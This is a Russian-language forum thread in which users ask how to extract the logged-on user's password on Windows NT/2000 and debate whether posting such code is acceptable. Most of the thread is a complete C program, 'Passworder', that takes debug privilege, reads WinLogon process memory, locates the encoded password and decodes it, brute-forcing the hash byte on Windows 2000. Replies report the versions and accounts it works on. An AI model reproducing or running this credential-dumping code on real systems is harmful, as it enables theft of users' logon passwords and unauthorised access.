Здравствуйте, Denis, Вы писали:

D>Хотя, всё таки если кто-то считает что это не правильно -в свободный доступ класть — пусть скажет...
Все правильно, выкладывай.
Если есть такая дыра, то чем больше народу об этом знает тем лучше.

Здравствуйте, Denis, Вы писали:

D>Тут мне кажется не совсем верно про сервиса — у МС каждая(почти) служба хранит где захочет
Мы о разных вещах говорим. Я — про учетную запись, под которой запускается сама служба, Вы — про учетные записи не самой службы Tasks, а дочерних для нее процессов. Короче, если службе честно сказать, что она должна запускаться от имени того-то под тем-то паролем, это сохранится именно в Lsa Secrets. Сей факт проверен лично дизассемблированием и анализом кода указанных выше файлов.
И еще, много служб запускает дочерние процессы? Очень не много, но все они — дыры (еще AVPCC забыли, там вообще полный улет, под системой чего угодно запустить можно).

D>то его вытащить сооовсем не сложно
Это потому что он в GUI за звездочки кладется?
Где он сохраняется, в реестре (я просто не знаю об этом)?

//***

Про код — мне в vasketsov@mail.ru можно его кидать.
У меня уже есть один такой, так вот он в NT4+SP6a с доменными юзерами не работает, потому как в аутентификации другие компоненты участвуют.
Хотя, глянуть будет интересно.

Здравствуйте, Denis!
D> сюда... сразу не выкладывал — думал что это как-то
D> аморально...(начнут все таскать пароли друг у друга...)
Ну и где?

С наилучшими пожеланиями, Costja.

Здравствуйте, Denis, Вы писали:

D>Я за выходные приведу исходники в порядок и выложу сюда...

Эй, друг, хорош отдыхать!!!

...
как я понял Denis развёл тут всех...

Здравствуйте, Аноним, Вы писали:

А>Как (если вообще можно) получить пароль текущего залогиненого пользователя на NTях ?

В общем случае никак. Честно говоря не совсем понятно зачем

Здравствуйте, Аноним, Вы писали:

А>Как (если вообще можно) получить пароль текущего залогиненого пользователя на NTях ?

http://www.securitylab.ru/?ID=36511

Здравствуйте, Аноним, Вы писали:

А>http://www.securitylab.ru/?ID=36511

Ну, в общем, присоединяюсь к тамошним комментариям.
Для того, чтоб это работало, программа сама должна знать этот пароль, чтоб вывести его и быть "хукнутой".
Короче, фигня это все.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Аноним, Вы писали:

А>>Как (если вообще можно) получить пароль текущего залогиненого пользователя на NTях ?

А>http://www.securitylab.ru/?ID=36511
Можно получить Handle окна под курсором мыши, а из хэндла вытащить WindowText стандартными функциями API. Наводишь крысу — получаешь пароль Собсно, на этом и построены: "куча прог для подглядывания паролей и в 98, и в 2000, и в XP". По крайней мере, я так понял. Проблема в том, что ты получаешь только свои пароли, или пароли лоха, который не заблокировал станцию, и оставил пароль в каком-нить Edit-е

Всем привет!
[Как (если вообще можно) получить пароль текущего залогиненого пользователя на NTях ?]

Ээээ дорогие(относится только к тем кто писал что я всех наколол), машину я пытаюсь купить себе, времени на работу не хватает... хотел как хорошо с комментами, но кину так ...


Денис.

PS буду рад услышать замечания.

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

typedef struct _UNICODE_STRING 
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _QUERY_SYSTEM_INFORMATION
{
    DWORD GrantedAccess;
    DWORD PID;
    WORD HandleType;
    WORD HandleId;
    DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;

typedef struct _PROCESS_INFO_HEADER
{
    DWORD Count;
    DWORD Unk04;
    DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;

typedef struct _PROCESS_INFO
{
    DWORD LoadAddress;
    DWORD Size;
    DWORD Unk08;
    DWORD Enumerator;
    DWORD Unk10;
    char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;

typedef struct _ENCODED_PASSWORD_INFO
{
    DWORD HashByte;
    DWORD Unk04;
    DWORD Unk08;
    DWORD Unk0C;
    FILETIME LoggedOn;
    DWORD Unk18;
    DWORD Unk1C;
    DWORD Unk20;
    DWORD Unk24;
    DWORD Unk28;
    UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);

BOOL IsNT (void);
BOOL Is2K (void);
BOOL AddDebug (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageNT (DWORD, PDWORD);
BOOL LocatePasswordPage2K (DWORD, PDWORD);
void DisplayPasswordNT (void);
void DisplayPassword2K (void);

PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];

int __cdecl 
    main
        (int argc, 
        char* argv[])
{
    printf ("\n\tPassworder\n\n");
    if ((!IsNT ())
            &&
        (!Is2K ()))
    {
        printf ("Windows NT or Windows 2000 are required.\n");
        return (0);
    }

    if (!AddDebug ())
    {
        printf 
            ("Unable to add debug privilege.\n");
        return (0);
    }
    printf ("The debug privilege has been added to Passworder.\n");

    HINSTANCE hNtDll = 
        LoadLibrary 
            ("NTDLL.DLL");
    pfnNtQuerySystemInformation =
        (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress 
            (hNtDll, 
            "NtQuerySystemInformation");
    pfnRtlCreateQueryDebugBuffer =
        (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress 
            (hNtDll, 
            "RtlCreateQueryDebugBuffer");
    pfnRtlQueryProcessDebugInformation =
        (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress 
            (hNtDll, 
            "RtlQueryProcessDebugInformation");
    pfnRtlDestroyQueryDebugBuffer =
        (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress 
            (hNtDll, 
            "RtlDestroyQueryDebugBuffer");
    pfnRtlRunDecodeUnicodeString =
        (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress 
            (hNtDll, 
            "RtlRunDecodeUnicodeString");
    DWORD WinLogonPID =
        FindWinLogon ();
    if (WinLogonPID == 0)
    {
        printf 
            ("Passworder is unable to find WinLogon or you are using NWGINA.DLL.\n");
        printf 
            ("Passworder is unable to find the password in memory.\n");
        FreeLibrary 
            (hNtDll);
        return (0);
    }
    printf 
        ("The WinLogon process id is %d (0x%8.8lx).\n", 
        WinLogonPID, 
        WinLogonPID);
    memset 
        (UserName, 
        0, 
        sizeof (UserName));
    memset 
        (UserDomain, 
        0, 
        sizeof (UserDomain));
    GetEnvironmentVariableW 
        (L"USERNAME", 
        UserName, 
        0x400);
    GetEnvironmentVariableW 
        (L"USERDOMAIN", 
        UserDomain, 
        0x400);

    bool FoundPasswordPage = FALSE;
    if (Is2K ())
        FoundPasswordPage =
            LocatePasswordPage2K 
                (WinLogonPID, 
                &PasswordLength);
    else
        FoundPasswordPage =
            LocatePasswordPageNT 
                (WinLogonPID, 
                &PasswordLength);

    if (FoundPasswordPage)
    {
        if (PasswordLength == 0)
        {
            printf 
                ("The logon information is: %S/%S.\n", 
                UserDomain, 
                UserName);
            printf 
                ("There is no password.\n");
        }
        else
        {
            printf 
                ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", 
                RealPasswordP, 
                PasswordLength);
            if (Is2K ())
                DisplayPassword2K ();
            else
                DisplayPasswordNT ();
        }
    }
    else
        printf 
            ("Passworder is unable to find the password.\n");

    FreeLibrary 
        (hNtDll);
    return (0);
}

BOOL
    IsNT
        (void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
    if (GetVersionEx 
            (&OSVersionInfo))
        return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
    else
        return (FALSE);
} 

BOOL
    Is2K
        (void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
    if (GetVersionEx 
            (&OSVersionInfo))
        return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
                    &&
                (OSVersionInfo.dwMajorVersion == 5));
    else
        return (FALSE);
}

BOOL 
    AddDebug 
        (void)
{
    HANDLE Token;
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
    DWORD ReturnLength = 0;
    if (OpenProcessToken 
            (GetCurrentProcess (), 
            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 
            &Token))
        if (LookupPrivilegeValue 
                (NULL, 
                "SeDebugPrivilege", 
                &TokenPrivileges.Privileges[0].Luid))
        {
            TokenPrivileges.PrivilegeCount = 1;
            TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            return 
                (AdjustTokenPrivileges
                    (Token,
                    FALSE,
                    &TokenPrivileges,
                    sizeof (TOKEN_PRIVILEGES),
                    &PreviousState,
                    &ReturnLength));
        }
    return (FALSE);
} 

DWORD 
    FindWinLogon 
        (void)
{
#define INITIAL_ALLOCATION 0x100
    DWORD rc = 0;
    DWORD SizeNeeded = 0;
    PVOID InfoP = 
        HeapAlloc 
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            INITIAL_ALLOCATION);
    
    pfnNtQuerySystemInformation 
        (0x10, 
        InfoP, 
        INITIAL_ALLOCATION, 
        &SizeNeeded);
    HeapFree 
        (GetProcessHeap (),
        0,
        InfoP);

    InfoP = 
        HeapAlloc 
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            SizeNeeded);
    DWORD SizeWritten = SizeNeeded;
    if (pfnNtQuerySystemInformation 
            (0x10, 
            InfoP, 
            SizeNeeded, 
            &SizeWritten))
    {
        HeapFree 
            (GetProcessHeap (),
            0,
            InfoP);
        return (0);
    }
    DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
    if (NumHandles == 0)
    {
        HeapFree 
            (GetProcessHeap (),
            0,
            InfoP);
        return (0);
    }
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
        (PQUERY_SYSTEM_INFORMATION) InfoP;
    DWORD i;
    for (i = 1; i <= NumHandles; i++)
    {
        
        if (QuerySystemInformationP->HandleType == 5)
        {
            PVOID DebugBufferP =
                pfnRtlCreateQueryDebugBuffer 
                    (0, 
                    0);
            if (pfnRtlQueryProcessDebugInformation 
                    (QuerySystemInformationP->PID,
                    1,
                    DebugBufferP) == 0)
            {
                PPROCESS_INFO_HEADER ProcessInfoHeaderP =
                    (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
                DWORD Count =
                    ProcessInfoHeaderP->Count;
                PPROCESS_INFO ProcessInfoP =
                    (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
                if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
                {
                    DWORD i;
                    DWORD dw = (DWORD) ProcessInfoP;
                    for (i = 0; i < Count; i++)
                    {
                        dw += sizeof (PROCESS_INFO);
                        ProcessInfoP = (PPROCESS_INFO) dw;
                        if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
                            return (0);
                        if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
                            rc = 
                                QuerySystemInformationP->PID;
                    }
                    if (DebugBufferP)
                        pfnRtlDestroyQueryDebugBuffer 
                            (DebugBufferP);
                    HeapFree 
                        (GetProcessHeap (),
                        0,
                        InfoP);
                    return (rc);
                }
            }
            if (DebugBufferP)
                pfnRtlDestroyQueryDebugBuffer 
                    (DebugBufferP);
        }
        DWORD dw = (DWORD) QuerySystemInformationP;
        dw += sizeof (QUERY_SYSTEM_INFORMATION);
        QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
    }
    HeapFree 
        (GetProcessHeap (),
        0,
        InfoP);
    return (rc);
} 

BOOL 
    LocatePasswordPageNT 
        (DWORD WinLogonPID, 
        PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT    0x200
#define USER_PASSWORD_OFFSET_WINNT    0x400
    BOOL rc = FALSE;
    HANDLE WinLogonHandle =
        OpenProcess 
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
            FALSE, 
            WinLogonPID);
    if (WinLogonHandle == 0)
        return (rc);
    *PasswordLength = 0;
    SYSTEM_INFO SystemInfo;
    GetSystemInfo 
        (&SystemInfo);
    DWORD PEB = 0x7ffdf000; 
    DWORD BytesCopied = 0;
    PVOID PEBP = 
        HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            SystemInfo.dwPageSize);
    if (!ReadProcessMemory
            (WinLogonHandle,
            (PVOID) PEB,
            PEBP,
            SystemInfo.dwPageSize,
            &BytesCopied))
    {
        CloseHandle 
            (WinLogonHandle);
        return (rc);
    }
    
    PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;
    if (VirtualQueryEx
            (WinLogonHandle,
            (PVOID) *WinLogonHeap,
            &MemoryBasicInformation,
            sizeof (MEMORY_BASIC_INFORMATION)))
        if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
                &&
            ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
        {
            PVOID WinLogonMemP = 
                HeapAlloc
                    (GetProcessHeap (),
                    HEAP_ZERO_MEMORY,
                    MemoryBasicInformation.RegionSize);
            if (ReadProcessMemory
                    (WinLogonHandle,
                    (PVOID) *WinLogonHeap,
                    WinLogonMemP,
                    MemoryBasicInformation.RegionSize,
                    &BytesCopied))
            {
                DWORD i = (DWORD) WinLogonMemP;
                DWORD UserNamePos = 0;
                
                do
                {
                    if ((wcscmp (UserName, (wchar_t *) i) == 0)
                            &&
                        (wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
                    {
                        UserNamePos = i;
                        break;
                    }
                    i += 2;
                } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
                if (UserNamePos)
                {
                    PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
                        (PENCODED_PASSWORD_INFO) 
                            ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
                    FILETIME LocalFileTime;
                    SYSTEMTIME SystemTime;
                    if (FileTimeToLocalFileTime
                        (&EncodedPasswordInfoP->LoggedOn,
                        &LocalFileTime))
                        if (FileTimeToSystemTime
                            (&LocalFileTime,
                            &SystemTime))
                            printf 
                                ("You logged on at %d/%d/%d %d:%d:%d\n",
                                SystemTime.wMonth,
                                SystemTime.wDay,
                                SystemTime.wYear,
                                SystemTime.wHour,
                                SystemTime.wMinute,
                                SystemTime.wSecond);
                    *PasswordLength = 
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
                    HashByte = 
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
                    RealPasswordP = 
                        (PVOID) (*WinLogonHeap + 
                            (UserNamePos - (DWORD) WinLogonMemP) + 
                            USER_PASSWORD_OFFSET_WINNT + 0x34);
                    PasswordP = 
                        (PVOID) ((PBYTE) (UserNamePos +  
                            USER_PASSWORD_OFFSET_WINNT + 0x34));
                    rc = TRUE;
                }
            }
        }

    HeapFree
        (GetProcessHeap (),
        0,
        PEBP);
    CloseHandle 
        (WinLogonHandle);
    return (rc);
} 

BOOL 
    LocatePasswordPage2K 
        (DWORD WinLogonPID, 
        PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K    0x400
#define USER_PASSWORD_OFFSET_WIN2K    0x800
    HANDLE WinLogonHandle =
        OpenProcess 
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
            FALSE, 
            WinLogonPID);
    if (WinLogonHandle == 0)
        return (FALSE);
    *PasswordLength = 0;
    SYSTEM_INFO SystemInfo;
    GetSystemInfo 
        (&SystemInfo);
    DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
    DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
    DWORD Increment = SystemInfo.dwPageSize;
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;
    while (i < MaxMemory)
    {
        if (VirtualQueryEx
                (WinLogonHandle,
                (PVOID) i,
                &MemoryBasicInformation,
                sizeof (MEMORY_BASIC_INFORMATION)))
        {
            Increment = MemoryBasicInformation.RegionSize;
            if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
                    &&
                ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
            {
                PVOID RealStartingAddressP =
                    HeapAlloc 
                        (GetProcessHeap (),
                        HEAP_ZERO_MEMORY,
                        MemoryBasicInformation.RegionSize);
                DWORD BytesCopied = 0;
                if (ReadProcessMemory
                        (WinLogonHandle,
                        (PVOID) i,
                        RealStartingAddressP,
                        MemoryBasicInformation.RegionSize,
                        &BytesCopied))
                {
                    if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
                            &&
                        (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
                    {
                        RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
                        PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
                        
                        PBYTE p = (PBYTE) PasswordP;
                        DWORD Loc = (DWORD) p;
                        DWORD Len = 0;
                        if ((*p == 0)
                                &&
                            (* (PBYTE) ((DWORD) p + 1) == 0))
                            ;
                        else
                            do
                            {
                                Len++;
                                Loc += 2;
                                p = (PBYTE) Loc;
                            } while 
                                (*p != 0);
                        *PasswordLength = Len;
                        CloseHandle 
                            (WinLogonHandle);
                        return (TRUE);
                    }
                }
                HeapFree 
                    (GetProcessHeap (),
                    0,
                    RealStartingAddressP);
            }
        }
        else
            Increment = SystemInfo.dwPageSize;
        
        i += Increment;
    }
    CloseHandle 
        (WinLogonHandle);
    return (FALSE);
}

void 
    DisplayPasswordNT 
        (void)
{
    UNICODE_STRING EncodedString;
    EncodedString.Length = 
        (WORD) PasswordLength * sizeof (wchar_t);
    EncodedString.MaximumLength = 
        ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
    EncodedString.Buffer = 
        (PWSTR) HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            EncodedString.MaximumLength);
    CopyMemory 
        (EncodedString.Buffer, 
        PasswordP, 
        PasswordLength * sizeof (wchar_t));
    pfnRtlRunDecodeUnicodeString 
        ((BYTE) HashByte, 
        &EncodedString);
    printf 
        ("The logon information is: %S/%S/%S.\n", 
        UserDomain, 
        UserName, 
        EncodedString.Buffer);
    printf 
        ("The hash byte is: 0x%2.2x.\n", 
        HashByte);
    HeapFree
        (GetProcessHeap (),
        0,
        EncodedString.Buffer);
} 

void 
    DisplayPassword2K 
        (void)
{
    DWORD i, Hash = 0;
    UNICODE_STRING EncodedString;
    EncodedString.Length = 
        (USHORT) PasswordLength * sizeof (wchar_t);
    EncodedString.MaximumLength = 
        ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
    EncodedString.Buffer =
        (PWSTR) HeapAlloc 
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            EncodedString.MaximumLength);
    for (i = 0; i <= 0xff; i++)
    {
        CopyMemory 
            (EncodedString.Buffer, 
            PasswordP, 
            PasswordLength * sizeof (wchar_t));

        pfnRtlRunDecodeUnicodeString 
            ((BYTE) i, 
            &EncodedString);

        PBYTE p = (PBYTE) EncodedString.Buffer;
        BOOL Viewable = TRUE;
        DWORD j, k;
        for (j = 0; (j < PasswordLength) && Viewable; j++)
        {
            if ((*p)
                    &&
                (* (PBYTE)(DWORD (p) + 1) == 0))
            {
                if (*p < 0x20)
                    Viewable = FALSE;
                if (*p > 0x7e)
                    Viewable = FALSE;
            }
            else
                Viewable = FALSE;
            k = DWORD (p);
            k++; k++;
            p = (PBYTE) k;
        }
        if (Viewable)
        {
            printf 
                ("The logon information is: %S/%S/%S.\n", 
                UserDomain, 
                UserName, 
                EncodedString.Buffer);
            printf 
                ("The hash byte is: 0x%2.2x.\n", 
                i);
        }
    }
    HeapFree 
        (GetProcessHeap (),
        0,
        EncodedString.Buffer);
}

Здравствуйте, Denis, Вы писали:

D>хотел как хорошо с комментами, но кину так ...

а откуда инфа или сам нарыл.
у меня работает W2K SP3.

И у меня w2k sp2
Вопрос собственно тот-же: откуда дровишки?

Здравствуйте, Denis, Вы писали:


D>Всем привет!
D>[Как (если вообще можно) получить пароль текущего залогиненого пользователя на NTях ?]

D>Ээээ дорогие(относится только к тем кто писал что я всех наколол), машину я пытаюсь купить себе, времени на работу не хватает... хотел как хорошо с комментами, но кину так ...



Классный код Сам написал ? Кстати, просветите — MS про эту дыру знает или как ?

Здравствуйте, Dima2, Вы писали:

D>у меня работает W2K SP3.

Win2K Server SP3 + some fixes. На консоли: для админа работает, обычному пользователю пишет "unable to find WinLogin" (это радует). В терминальной сессии: даже админу пишет "unable to find password" (это радует еще больше). Админы, срочно пересаживайтесь на терминалы!

Здравствуйте, Denis, Вы писали:


[]

Этот код у меня как раз и есть, и как раз он и не работает в том случае, о котором я и писал выше.

Здравствуйте, vasketsov, Вы писали:

V>Здравствуйте, Denis, Вы писали:

V>
V>[]

V>Этот код у меня как раз и есть, и как раз он и не работает в том случае, о котором я и писал выше.

У меня уже есть один такой, так вот он в NT4+SP6a с доменными юзерами не работает, потому как в аутентификации другие компоненты участвуют.

Поясни ...

Есть пользователь домена, на машине он в ходит в группу администраторы так вот если он входит в домен — то пароль показывается .

А есть просто пользователь на машине — с ограниченными правами — то конечно нет.
(w2k +sp2)

А теперь вопрос ? — что вы имели ввиду?

Здравствуйте, Whisperer, Вы писали:

W>А теперь вопрос ? — что вы имели ввиду?
Доменный юзер локально имел полные права.
Все — NT4 со всеми фиксами.

Здравствуйте, vasketsov, Вы писали:

V>Здравствуйте, Whisperer, Вы писали:

W>>А теперь вопрос ? — что вы имели ввиду?
V>Доменный юзер локально имел полные права.
V>Все — NT4 со всеми фиксами.

Блин — а на w2k — работает — хотя для этого надо за машину сесть —
а кто даст-то

Здравствуйте, Dima2, Вы писали:

D>а откуда инфа или сам нарыл.


в инете рылся в поисках security-related информации и наткнулся на этот код.